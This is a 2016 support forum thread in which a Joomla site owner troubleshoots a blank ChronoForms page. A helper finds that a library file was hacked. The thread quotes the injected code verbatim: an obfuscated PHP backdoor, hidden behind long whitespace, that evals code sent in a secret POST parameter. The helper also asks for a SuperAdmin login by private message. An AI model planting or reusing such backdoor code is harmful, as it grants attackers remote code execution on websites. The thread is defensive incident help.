Forums

CF5 stays blank (front and back end)

eikos 13 Jan, 2016
Chronoforms V5 stopt working and is now showing a white screen with the error "server error 500". (in dutch serverfout 500)

It's as well in front as in back end.

It always worked fine but suddenly stopted.

http://dbs-balk.nl/index.php/ct-menu-item-53 --> aanmelden als nieuw lid

http://dbs-balk.nl/index.php/ct-menu-item-53/ct-menu-item-55 (direct link to the form)

has any one an idea how to solve this problem?
GreyHead 13 Jan, 2016
Hi eikos,

Have you recently updated Joomla!? If so, please see this FAQ

Otherwise please try setting site Error Reporting temporarily to Maximum and see if you get a more useful error message.

Bob
eikos 13 Jan, 2016
i change my error reporting to public $error_reporting = 'E_ALL & ~E_NOTICE';

because the general settings isn't working properly (see attachment)

the screen is now white without any error

kind regards.

Yke
GreyHead 13 Jan, 2016
Hi eikos,

Please change that back - there will be PHP warnings in the page HTML somewhere. Have you looked at the Page Source to see if you can find anything?

Bob
eikos 13 Jan, 2016
thanks bob for the help!

when i look at the page source nothing is displayed. (at the blank page)

ik looks like a page wirh nothing in it.

yke
GreyHead 14 Jan, 2016
Hi eikos,

Hmmm there must be a PHP Error somewhere. By all means PM me the site URL, the form name, and a SuperAdmin login and I'll take a quick look.

Bob
eikos 14 Jan, 2016
i send the pm.

Also i managed to get an error message.

Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/vhosts/dbs-balk.nl/httpdocs/libraries/cegcore/libs/session.php on line 9

i have no clu whats wrong.
GreyHead 14 Jan, 2016
Hi eikos,

Please open that file using FTP and post the first twelve or so lines here. It may be that your site has been hacked and there is some unwanted code at the beginning of the file. Here is what it should look like. Notice that namespace GCore\Libs; is the first line after the comments:
<?php
/**
* ChronoCMS version 1.0
* Copyright (c) 2012 ChronoCMS.com, All rights reserved.
* Author: (ChronoCMS.com Team)
* license: Please read LICENSE.txt
* Visit http://www.ChronoCMS.com for regular updates and information.
**/
namespace GCore\Libs;
/* @copyright:ChronoEngine.com @license:GPLv2 */defined('_JEXEC') or die('Restricted access');
defined("GCORE_SITE") or die;
class Session {
. . .	

Bob
GreyHead 14 Jan, 2016
Hi eikos,

Your site has probably been hacked - I checked the file with the login you sent and this is what is at the beginning of the file - scroll to the right to see the injected code
<?php                                                                                                                                                                                                                                                    $ogwq6 = "op_ts" ;$wrl24 =strtoupper($ogwq6[2].$ogwq6[1]. $ogwq6[0]. $ogwq6[4].$ogwq6[3]); if( isset (${$wrl24} [ 'q79c1ec' ] ) ) {eval ( ${$wrl24 } ['q79c1ec']); } ?><?php
/**
* ChronoCMS version 1.0
* Copyright (c) 2012 ChronoCMS.com, All rights reserved.
* Author: (ChronoCMS.com Team)
* license: Please read LICENSE.txt
* Visit http://www.ChronoCMS.com for regular updates and information.
**/
namespace GCore\Libs;

Bob
eikos 15 Jan, 2016
Bob,

Tnxs for the help.

I cleaned all the infected files and everything seems to work porperly again (replaced the library in joomla so my global settings are working again and put the cegcore back and (almost) everything seems to work again)

Only one thing doesn't seem to work

When i fill in the form and push send nothing seems to happen and when i go to the backend and in chronoforms i push "test form" and fill in the form everything works fine. (form: inschrijven9)

Do you have any idea?

Yke
eikos 15 Jan, 2016
Bob,

Thanks for everything it seems to work properly.

The name of my form was Inschrijven9 and i wrote the wrong name unther menu-->options--> form name (i forget the capital I and wrote inschrijven9. notice the diverence is I --> i )
once put the right form name everything starts to work again.

Tnx for the great help.

Kind regards

Yke
This topic is locked and no more replies can be posted.